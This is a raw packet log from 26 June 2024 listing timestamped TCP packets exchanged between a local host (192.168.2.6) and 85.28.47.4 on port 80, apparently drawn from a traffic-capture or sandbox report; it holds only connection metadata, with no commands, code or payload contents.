Jun 26, 2024 08:16:24.326098919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326106071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326114893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326124907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326160908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326168060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326175928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326184034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326206923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326219082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326252937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326252937 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326292038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326302052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326318026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326325893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326334000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326342106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326349020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326354027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326356888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326385975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326394081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326409101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.326426029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326426029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326478958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.326478958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.374207020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.379636049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550610065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550646067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550656080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550681114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550689936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550697088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550699949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550699949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550707102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550714016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550729990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550739050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550749063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550764084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550780058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550781012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550781012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550784111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550796986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550818920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550832987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550842047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550854921 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550880909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550889969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550916910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550916910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.550932884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550940990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550966024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550981998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550991058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.550997972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551007032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551042080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551042080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551042080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551069021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551075935 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551079035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551131010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551140070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551140070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551150084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551182032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551187992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551191092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551199913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551232100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551239014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551248074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551255941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551256895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551256895 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551309109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551309109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551317930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551326036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551342964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551350117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551389933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551393032 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551394939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551399946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551408052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551425934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551434994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551443100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551445007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551445007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551484108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551523924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551532030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551542997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551559925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551568985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551575899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551583052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551583052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551584959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551595926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551624060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551665068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551707983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551714897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551729918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551738024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551747084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551754951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551764011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551784992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551812887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551817894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551834106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551870108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551913023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551922083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551920891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551938057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551949978 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551955938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551964045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551964998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.551973104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.551981926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552002907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552020073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552058935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552067041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552074909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552083015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552089930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552097082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552108049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552139997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552161932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552208900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552220106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552227974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552236080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552242994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552252054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552258968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552267075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552273989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552278996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552279949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552284002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552293062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552303076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552335978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552335978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552376986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552530050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552539110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552561045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552571058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552586079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552593946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552603006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552608967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552614927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552618027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552634001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552640915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552659035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552660942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552660942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552666903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552684069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552690983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552706003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552715063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552741051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552741051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552741051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552783012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.552922010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552930117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552944899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552952051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552959919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552973986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552982092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.552989006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.553004980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.553010941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.553010941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.553013086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.553023100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.553029060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.553030968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.553044081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.553093910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640409946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640501022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640553951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640563011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640571117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640578032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640585899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640603065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640610933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640616894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640619040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640628099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640635967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640651941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640666008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640749931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640758991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640779972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640788078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640795946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640795946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640795946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640806913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640815973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640820980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640825033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640835047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640856981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640856981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640908003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640918970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640958071 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.640968084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.640979052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641030073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641083956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641093969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641109943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641125917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641146898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641168118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641176939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641180992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641185045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641195059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641223907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641239882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641247988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641264915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641273022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641288996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641297102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641298056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641298056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641335011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641344070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641360044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641392946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641392946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641392946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641453981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641463041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641478062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641484976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641493082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641509056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641515970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641552925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641552925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641552925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641916990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641963005 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.641966105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.641973019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642016888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642045021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642054081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642069101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642079115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642103910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642173052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642174959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642184973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642193079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642200947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642216921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642225027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642234087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642234087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642277956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642309904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642318010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642326117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642333984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642340899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642357111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642364979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642379999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642390013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642395973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642395973 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642431974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642431974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642467022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642476082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642483950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642491102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642518044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642525911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642534971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642534971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642540932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642549992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642556906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642565012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642585993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642606020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642646074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642729998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642738104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642754078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642761946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642770052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642784119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642786026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642801046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642824888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642896891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642905951 CEST	80	49713	85.28.47.4	192.168.2.6
